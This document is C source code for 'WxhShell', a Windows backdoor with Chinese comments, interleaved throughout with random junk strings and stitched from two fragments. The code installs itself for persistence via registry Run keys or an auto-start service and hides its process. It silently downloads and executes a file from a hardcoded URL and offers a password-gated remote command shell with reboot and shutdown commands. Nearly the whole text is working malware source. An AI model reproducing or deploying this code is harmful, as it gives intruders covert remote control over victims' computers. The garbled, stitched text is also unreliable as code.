~ ULONG InheritedFromUniqueProcessId; 6R^F^<< } PROCESS_BASIC_INFORMATION; ^_v94!a9 ~rO&Y{aG# PROCNTQSIP NtQueryInformationProcess; gzi=+oJ|4 gQik>gFr static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !QAndg{;D static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tx&H1 "JmbYb#Z HANDLE hProcess; d(t)8k$ PROCESS_BASIC_INFORMATION pbi; L|APX y]> @=w)a HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9nQyPb6 if(NULL == hInst ) return 0; n1|]ji[c gYbvCs8O! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v,ecNuy*d g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V9<E`C NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h{-en50tN <hy!B4 if (!NtQueryInformationProcess) return 0; 7ojh=imY RgFpc*.T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TuCHD~rb if(!hProcess) return 0; 1c"s+k]9 EhO\N\p(Q= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pHVDug3 /oe0 CloseHandle(hProcess); @.cord` 6C.!+km hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P[H`]q| if(hProcess==NULL) return 0; QP<P,Bi~ moVf(7 HMODULE hMod; oU3gy[wF;b char procName[255]; {DvWa| unsigned long cbNeeded; :.H@tBi*E YVRE9 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _`QME r? ~qb?#IY]` CloseHandle(hProcess); D.AiqO<z wMF1HT<* if(strstr(procName,"services")) return 1; // 以服务启动 2\$<&]q }1CO>a< return 0; // 注册表启动 `$ bQ8$+Ci } jc6~V$3 nC/T$
#G // 主模块 \K9Y@jnr int StartWxhshell(LPSTR lpCmdLine) coaJDg+ { 7m8:odeF SOCKET wsl; 6"?#s/fk BOOL val=TRUE; lKI]q<2 int port=0; ,trh)ZZYW| struct sockaddr_in door; \iEJ9V ZKI` ; if(wscfg.ws_autoins) Install(); Ca"i<[8 !Y^$rF-+ port=atoi(lpCmdLine); &e[Lb:Uk) hhjsg?4uL if(port<=0) port=wscfg.ws_port; *X|%H-Q:H` Dh{P23} WSADATA data; 5.0;xz}#y if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g+.E=Ef8<4 aM[fag$c if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R'K /\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~c1~)QzZ door.sin_family = AF_INET; u_WW
uo door.sin_addr.s_addr = inet_addr("127.0.0.1"); NFIFCy! door.sin_port = htons(port); \hzx?
&@7|_60 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I GcR5/3 closesocket(wsl); ?K}KSJ6_ return 1; y;9K } Q"xDRQA jTQN(a9Y if(listen(wsl,2) == INVALID_SOCKET) { *OE>gg&?Nh closesocket(wsl); a~tBg y+9 return 1; 0XIrEwm@% }
gAi}"}; Wxhshell(wsl); r:^`005 WSACleanup(); lgAE`Os @qJv return 0; m}
=<@b:l 10/3 -)+ } f;ycQc@f 8>:2li // 以NT服务方式启动 B T{({3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }Ty_} 6a5 { DNM~/Oo DWORD status = 0; C$B?|oUJc DWORD specificError = 0xfffffff; ;#"`]khd Xg"Mjmr serviceStatus.dwServiceType = SERVICE_WIN32; LyXABQ] serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1hp@.Fv serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @1[LD[< serviceStatus.dwWin32ExitCode = 0; q%^gG03. serviceStatus.dwServiceSpecificExitCode = 0; }W%}_UT serviceStatus.dwCheckPoint = 0; U(qM( E serviceStatus.dwWaitHint = 0; z<P#djx Ix5yQgnB}j hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *KV]MdS if (hServiceStatusHandle==0) return; gzdgnF2 (C QgT3V status = GetLastError(); z#*GPA8Em: if (status!=NO_ERROR) kQBVx8Uq] { DFjkp;`1 serviceStatus.dwCurrentState = SERVICE_STOPPED; tbk9N( R serviceStatus.dwCheckPoint = 0; 8@Km@o]? serviceStatus.dwWaitHint = 0; J5rR?[i{ serviceStatus.dwWin32ExitCode = status; WCWBvw4&"{ serviceStatus.dwServiceSpecificExitCode = specificError; _H3cqD SetServiceStatus(hServiceStatusHandle, &serviceStatus); `0 F"zu return; %BHq2~J } h;unbz CGg6n CB serviceStatus.dwCurrentState = SERVICE_RUNNING; qx? lCz a" serviceStatus.dwCheckPoint = 0; IX3U\_I# serviceStatus.dwWaitHint = 0; s^v,i
CH{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h/w- &7t } *'t`;m~ !kKKJ~,; // 处理NT服务事件,比如:启动、停止 O 1X
! VOID WINAPI NTServiceHandler(DWORD fdwControl) 2Uk8{d { bKaV]Uy switch(fdwControl) %yrP: fg/ { n<$I, IRE case SERVICE_CONTROL_STOP: 9VY_gi=vL serviceStatus.dwWin32ExitCode = 0; (c_hX( serviceStatus.dwCurrentState = SERVICE_STOPPED; ^
pR& serviceStatus.dwCheckPoint = 0; a:]yFi:Su serviceStatus.dwWaitHint = 0; Zj<T#4?8 { Q\z*q,^R SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Z/ySAFM } &boBu^,94 return; }w@nZG ^& case SERVICE_CONTROL_PAUSE: Y\x
Xo? serviceStatus.dwCurrentState = SERVICE_PAUSED; Qqaf\$X break; QtzHr case SERVICE_CONTROL_CONTINUE: ozo8 Tr serviceStatus.dwCurrentState = SERVICE_RUNNING; V)Xcn'h break; Stw6%T- case SERVICE_CONTROL_INTERROGATE: Zj0&/S break; \ d;Ow8%d/ }; p 5'\< gQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); u60l - } %~[F^ -
|'wDf?H // 标准应用程序主函数 ?0<3"2Db~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
t|DYz#] { >y@w-,1he K&h|r`W( // 获取操作系统版本 ^YZ#P0 y OsIsNt=GetOsVer(); m1hf[cg GetModuleFileName(NULL,ExeFile,MAX_PATH); }bTMeCgI eyWwE% // 从命令行安装 ~!OjdE!u if(strpbrk(lpCmdLine,"iI")) Install(); KKzvoc?Bt ] ge-b\ // 下载执行文件 ~}11 6K if(wscfg.ws_downexe) { KP(Bu0S
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %"6IAt WinExec(wscfg.ws_filenam,SW_HIDE); NlMx!f>b%/ } 3^a"$VW1 L$Q+R' if(!OsIsNt) { 1 &<@(S< // 如果时win9x,隐藏进程并且设置为注册表启动 '37b[~k4 HideProc(); :[&X*bw[ StartWxhshell(lpCmdLine); /_|1,x-Kx } ?~{xL" else g/J!U8W" if(StartFromService()) `xr%LsNn // 以服务方式启动 Z-?9F`} StartServiceCtrlDispatcher(DispatchTable); H6eGLg={ else pf_ /jR // 普通方式启动 1d"P) 3dQ StartWxhshell(lpCmdLine); GwULtRa/ >vU
Hf`4T return 0; ^J_hkw~gO } ]lY9[~
v _<7FR:oBZ 6>I.*Qt \l ccSS au5N =========================================== p3o?_ !Z (Wqhuw!u qg/5m;U gib]#n1!p kR]SxG9 2cg z
n@ " ,Mc2dhq Mm!saKT% #include <stdio.h> 8E+l;2 #include <string.h> jlBCu(.,_ #include <windows.h> }t'^Au`X #include <winsock2.h> fL;p^t u3 #include <winsvc.h> ULjzhy+(8 #include <urlmon.h> !Xi>{nV d#Ajb #pragma comment (lib, "Ws2_32.lib") ]N_^{k, #pragma comment (lib, "urlmon.lib") 8.':pY'8" C.-a:oQ[ #define MAX_USER 100 // 最大客户端连接数 o{p_s0IX;S #define BUF_SOCK 200 // sock buffer ise}> A!t #define KEY_BUFF 255 // 输入 buffer ,0bM*qob MVdx5,t #define REBOOT 0 // 重启 :N}KScS|Wa #define SHUTDOWN 1 // 关机 eZi<C}z (&,R1dLo #define DEF_PORT 5000 // 监听端口 .)w0C%] `uHpj`EU #define REG_LEN 16 // 注册表键长度 G
m! ]
#define SVC_LEN 80 // NT服务名长度 Tt|6N*b' ]o$/xP // 从dll定义API N sL"p2w~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3~ZVAg[c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w ZAXfNA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {6sfa?1j typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5QJL0fc H@'
@xHv // wxhshell配置信息 ;7k7/f: struct WSCFG { RzQS@^u*F0 int ws_port; // 监听端口 dAl<'~g char ws_passstr[REG_LEN]; // 口令 ':]a.yA\1 int ws_autoins; // 安装标记, 1=yes 0=no oF R'GUQC char ws_regname[REG_LEN]; // 注册表键名 <v k$eB8EC char ws_svcname[REG_LEN]; // 服务名 Ai18]QD- char ws_svcdisp[SVC_LEN]; // 服务显示名 u$8MVP char ws_svcdesc[SVC_LEN]; // 服务描述信息 Cl!jK^AbG char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {1|7N
GQ int ws_downexe; // 下载执行标记, 1=yes 0=no ZF(=^.gc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {C6;$#7P char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ot#kU 8f mtddLd, }; \r,.hUp WI_mJ/2 // default Wxhshell configuration +lJ]-U|P struct WSCFG wscfg={DEF_PORT, '/g+;^_cB "xuhuanlingzhe", }F6b ] 1, agT[y/gb "Wxhshell", Z8 %\v(L "Wxhshell", !13
/+ u "WxhShell Service", _C=[bI@ "Wrsky Windows CmdShell Service", h\\2r> "Please Input Your Password: ", ~j#6 goKn 1, 6D"`FPC "http://www.wrsky.com/wxhshell.exe", w]o5L "Wxhshell.exe" _6zP]|VBr }; luk2fi<$ [Vp2!" // 消息定义模块 s
FYJQ90it char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 14!a)Ijl char *msg_ws_prompt="\n\r? for help\n\r#>"; 9k[},MM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @i-@mxk6< char *msg_ws_ext="\n\rExit."; DeQ'U!?+N char *msg_ws_end="\n\rQuit."; %&+R":Bw char *msg_ws_boot="\n\rReboot..."; 1";e'?^x char *msg_ws_poff="\n\rShutdown..."; @aN=U= char *msg_ws_down="\n\rSave to "; i}F;fWZ` JO{-
P char *msg_ws_err="\n\rErr!"; =M{CZm char *msg_ws_ok="\n\rOK!"; @ZR4%A"X4 ~V"cLTj" char ExeFile[MAX_PATH]; T^;Jz!e int nUser = 0; <&EO=A HANDLE handles[MAX_USER]; <ZC^H int OsIsNt; '#
IuY !XA%[u SERVICE_STATUS serviceStatus; p2DNbY\] SERVICE_STATUS_HANDLE hServiceStatusHandle; as|c`4r\O ;6
6_G Sjz // 函数声明 }rA+W-7 int Install(void); mYOdBd int Uninstall(void); wp*&&0O! int DownloadFile(char *sURL, SOCKET wsh); 9iddanQA int Boot(int flag); +\[![r^P void HideProc(void); `e'o~oSu int GetOsVer(void); pMZf!&tM int Wxhshell(SOCKET wsl); $F`<&o void TalkWithClient(void *cs); )bXx9,VL int CmdShell(SOCKET sock); akc"}+-oX int StartFromService(void); h)l&K%4; int StartWxhshell(LPSTR lpCmdLine); qb&NS4# eTRx 6Fri( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2{]S_. zV VOID WINAPI NTServiceHandler( DWORD fdwControl ); *5_8\7d =
EChH@3 // 数据结构和表定义 2DCcGKa" SERVICE_TABLE_ENTRY DispatchTable[] = | ]!Ky[P { !0csNg! {wscfg.ws_svcname, NTServiceMain}, R{xyme@"^ {NULL, NULL} $aPHl }; t6g)3F7 T .UhBvHH // 自我安装 ~eV!!38
J int Install(void) CNRU"I+jU { cYWy\+ char svExeFile[MAX_PATH]; OQL09u HKEY key; r{B,uj" strcpy(svExeFile,ExeFile); h;ol" n:^"[Le // 如果是win9x系统,修改注册表设为自启动 Wt)SdF=U/ if(!OsIsNt) { 8} ?Y;>s\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gz[ymj)5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t3#H@0< RegCloseKey(key); 'f?&EsIV? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tC@zM.v% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mQ^@ \s RegCloseKey(key); o&XMgY~ return 0; w^'?4M! } .xLF}{u } ,7fc41O3V } '=Kof1 else { C/CfjRzd #?$'nya*u // 如果是NT以上系统,安装为系统服务 X#kjt)W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `l gjw= if (schSCManager!=0) ueE?"Hk { ]zvVY:v SC_HANDLE schService = CreateService 4`UL1)A] ( lR@i`)'?U schSCManager, }$0xt' q& wscfg.ws_svcname, x'@32gv wscfg.ws_svcdisp, inPdV9 SERVICE_ALL_ACCESS, =(|xU?OL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C7jc 6(>m SERVICE_AUTO_START, JwI`"$>w SERVICE_ERROR_NORMAL, ;la#Vf:] svExeFile, s7.p$r NULL, L'\/)!cEd NULL, 8R)D ! 7[l NULL, 3m43nJ.~ NULL, s?@)a,C%k NULL d@D;'2}Yc ); I| W'n-4Y if (schService!=0) W3jXZ> { `dgM|.w5= CloseServiceHandle(schService); Tbi]oB# CloseServiceHandle(schSCManager); CCW%G,$U9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s,$Z("B strcat(svExeFile,wscfg.ws_svcname); C?[a3rNH( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0HHui7Yy> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y(hW(bd; RegCloseKey(key);
e'~-`Z9-) return 0; Z@uTkqG) } p| \%:# } w\o)bn CloseServiceHandle(schSCManager); A[^qq UL' } XDpfpJ,z"} } ] Wx>)LT ?~aZ#%*i8 return 1; $Wr\[P: } tLD~ *t#s$Ga // 自我卸载 A$%Q4jC} int Uninstall(void) >Lw}KO` { UTDcX HKEY key; 5!'R'x5e mVv\bl?< if(!OsIsNt) { ~|CJsD/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k]SAJ~bS| RegDeleteValue(key,wscfg.ws_regname); Dd!Sr8L[ RegCloseKey(key); zU
f>db if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5:Yck< RegDeleteValue(key,wscfg.ws_regname); -ajM5S=d* RegCloseKey(key); dSOlD/c
return 0; lQV|U;~D } May&@x/oMS } 4meidKw] } u(pdP" else { \C]i|]tl H+4=|mkQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {8^Gs^c
c if (schSCManager!=0) `6a]|7|f { _4P;+Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (;;J,*NP if (schService!=0) 8G 0 { DE*MdfP0 if(DeleteService(schService)!=0) { _Kc1 CloseServiceHandle(schService); cQ8dc+ { CloseServiceHandle(schSCManager); :8p&#M return 0; 1s#yWQ } 1&"-*) CloseServiceHandle(schService); IFiTTIlT0 } H4M{_2DO CloseServiceHandle(schSCManager); ET U-]R 3 } %x&F4U } c]A
Y '5'3_vM return 1; ?22d},. } mJ)tHv"7 B{s]juPG // 从指定url下载文件 hP?7zz$*j int DownloadFile(char *sURL, SOCKET wsh) ecn}iN { `vudS? HRESULT hr; G49Ng|qn char seps[]= "/"; )T>8XCL\} char *token; 82lr4 char *file; \X&]FZ(* char myURL[MAX_PATH]; @u,+F0Yd char myFILE[MAX_PATH]; KwS`3 6: m&Lt6_vi strcpy(myURL,sURL);
F[5S(7M
7 token=strtok(myURL,seps); HtxLMzgz<< while(token!=NULL) brb[})} { ya:sW5fk file=token; f%c06Un= token=strtok(NULL,seps); "X`RQ6~]> } f2NA=%\ vCj4;P g GetCurrentDirectory(MAX_PATH,myFILE); Hw Z^D=A strcat(myFILE, "\\"); 0z/h+, strcat(myFILE, file); xJ-*%'(KZ send(wsh,myFILE,strlen(myFILE),0); UmJUt| send(wsh,"...",3,0); Zp`~}LV{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); My. dD'C if(hr==S_OK) S#k{e72 * return 0; .>P~uZiX! else !~WZ_z return 1; *2`:VFEV h%'
N hV } ?4,@,
ae& 5? Wg%@ // 系统电源模块 cST\~SUm int Boot(int flag) :AZp} { $57\u/(
HANDLE hToken; A^-iHm TOKEN_PRIVILEGES tkp; 5:c;RRn L_^`k4ct if(OsIsNt) { VUp. j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =c&62;O LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _
\l
HI tkp.PrivilegeCount = 1; 0 sZwdO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NEMEY7De2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hcyn
if(flag==REBOOT) { G;NB\3~X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RK-x?ZYH' return 0; gwiR/(1 } &3I$8v|!? else { QWw"K$l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
vO]J]][ return 0; 7%4.b7Q } :W~f;k } Pg
Syt else { >b>gr OX if(flag==REBOOT) { UT4f (Xo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P{cos&X| return 0; 1aq2aLx } zks#EzQ else { ;,rnk- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d@ZoV return 0; /ERNS/w } !R74J=#( } ?I[h~vr6. ^!}F% return 1; iS } Ihg~Q4t ra]:$XJ5=a // win9x进程隐藏模块 %K?iNe void HideProc(void) .fEwk { Ukc'?p,* <(YF5Xm6$h HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FZ p<|t if ( hKernel != NULL ) n'?4.tb { "U{,U`@? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r1G8]a gO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4\ FP FreeLibrary(hKernel); |'<vrn } xl8#=qmCD 5mavcle{4r return; sLi*SR } 3u_oRs @Dj:4 // 获取操作系统版本 c4 5?St int GetOsVer(void) 4UD' %}>y { .E$q&7@/j OSVERSIONINFO winfo; 2h)8Fq_" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )[jy[[K( GetVersionEx(&winfo); ]_u`EvEx6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fg=v6j4W return 1; sKd)BA0` else vLDi ; return 0; 43L|QFo } EeB3 } $)*xC!@6X // 客户端句柄模块 '#H")i int Wxhshell(SOCKET wsl) \XS]N_}8> { <tuS,. SOCKET wsh; Dx3 %KS struct sockaddr_in client; JNBT^=x DWORD myID; R hio7C dE [Ol while(nUser<MAX_USER) &XQZs`41+ { #ZWl=z5aBi int nSize=sizeof(client); dIJGB== wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KjOi(YUnq7 if(wsh==INVALID_SOCKET) return 1; X+iK<F$ `W"G!X- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j"hASBTgp if(handles[nUser]==0) ;SY.WfVA7 closesocket(wsh); WNF9#oN|oT else $XGtS$ nUser++; 0T))>.iu# } {eR9 ;2! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a,n93-m(m j Nc<~{/ return 0; GNU;jSh5 } m7m
\`; m*oc)x7' // 关闭 socket y|sma;D void CloseIt(SOCKET wsh) Hk u=pr3Gn { 0d4cE10 closesocket(wsh); G{o+R]Us nUser--; z+/LS5$ ExitThread(0); }OrYpZob } /DO'IHC.o UX_I6_& // 客户端请求句柄 "={L+di:M void TalkWithClient(void *cs) v!trsjb { `?uPn~,e8 +< KNY SOCKET wsh=(SOCKET)cs; "}zda*z8 char pwd[SVC_LEN]; R1'`F{56 char cmd[KEY_BUFF]; IN^_BKQt char chr[1]; 10MU-h.) int i,j; ({M?Q>s 3eKQ<$w while (nUser < MAX_USER) { C) .2gQ
G
zu<3^=3 if(wscfg.ws_passstr) { Of`c`-<j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D1Yh,P<CF\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O&'/J8 //ZeroMemory(pwd,KEY_BUFF); U9#WN.noG i=0; 254~:eB0 while(i<SVC_LEN) { uRQ_'l El6bD% \G // 设置超时 g$3>~D fd_set FdRead; r7I
B{}>- struct timeval TimeOut; m:{tgcE FD_ZERO(&FdRead); 9+Nw/eszO FD_SET(wsh,&FdRead); irMd
jG TimeOut.tv_sec=8; %MJ;Q?KB TimeOut.tv_usec=0; 8#59iQl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d+}k g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (1){A8=?o 3k'.(P|F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y8ehmz|g]J pwd=chr[0]; n+oDC65[ if(chr[0]==0xd || chr[0]==0xa) { -3hCiKq pwd=0; GDPo`#~ break; 9$O@`P\ } 6c<ezEJ i++; Q6^x8 } 6fwY$K\X A/ 0qk // 如果是非法用户,关闭 socket J_ J+cRwq if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [xdj6W } - DL"-%X. HXks_ix ) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R]QpMj%o send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~L4eZ _N'75 while(1) { ax@H"d& ^ vbWRG~ ZeroMemory(cmd,KEY_BUFF); `="v>qN2\ 2p:r`THvS5 // 自动支持客户端 telnet标准 L2|aHI1'l j=0; v8@eW.I1 while(j<KEY_BUFF) { X~RH^VYv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K/Y Agg cmd[j]=chr[0]; BUC,M:J+H if(chr[0]==0xa || chr[0]==0xd) { tWD|qg_ cmd[j]=0; 9?`RR/w break; O9]\Q@M. } `6Hf&u< j++; 97!5Q~I } xl]
;*& =B(mIx;m // 下载文件 G6O/(8 if(strstr(cmd,"http://")) { Vxh.<b6&' send(wsh,msg_ws_down,strlen(msg_ws_down),0); L11L23: if(DownloadFile(cmd,wsh)) WC-_+9)2& send(wsh,msg_ws_err,strlen(msg_ws_err),0); t ;-L{`mW else 9
5 H?{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R^8B3-aA`
} crn k|o else { 3Gd0E;3sk~ e4.&aIC[ switch(cmd[0]) { 6
=gp:I
Hg(5S,O2 // 帮助 y\[r(4h case '?': { JO1
,TtA send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ew4g'A:H break; x9V {R9_gf } 5py R~+ // 安装 KQ)T(mIqp case 'i': { 8(A{;9^g if(Install()) uO'/|[`8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); /V^sJ($V$~ else z="L4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;~/4d- break; a[C&e,)} } "!q?P"
@C // 卸载 bK=c@GXS case 'r': { PDC]wZd/ if(Uninstall()) -g~~] K% send(wsh,msg_ws_err,strlen(msg_ws_err),0); %f!iHo+Z else )Au&kd-W@( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S< x:t( break; sh6(z?KP } \A(5;ZnuD // 显示 wxhshell 所在路径 $Jf9;. case 'p': { =kFuJ
x)f char svExeFile[MAX_PATH]; hKksVi strcpy(svExeFile,"\n\r"); MY F#A strcat(svExeFile,ExeFile); ;Qa;@ send(wsh,svExeFile,strlen(svExeFile),0); detL jlE break; &O tAAE } og-]tEWA1 // 重启 -1W case 'b': { 9#@Zz4Ww send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IVteF*8hU if(Boot(REBOOT)) ,F:=(21 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &;v!oe else { d8:C3R closesocket(wsh); n`<U"$* ExitThread(0); Y:pRcO.4g } 3w'W~ break; d@g2k> > } tpU
D0Z) // 关机 jG8;]XP case 'd': { :6u~aT/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {!=2<-Aq if(Boot(SHUTDOWN)) uaxB -PZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wc;+2Hl[@ else { Cef7+fa closesocket(wsh); $l"MXxx5I ExitThread(0); DHzkRCM } (C `@a/q break; RVP 18ub.S } z!CD6W1n // 获取shell d_T<5Hin case 's': { e?<D F.Md+ CmdShell(wsh); B] i:) closesocket(wsh); M(5D'4. ExitThread(0); h5!d break; uF<S } $ !5f"<FCB // 退出 iQ{z6Qa case 'x': { rfTe send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IJIQ"
s CloseIt(wsh); o)!m$Q~v break; [&daG |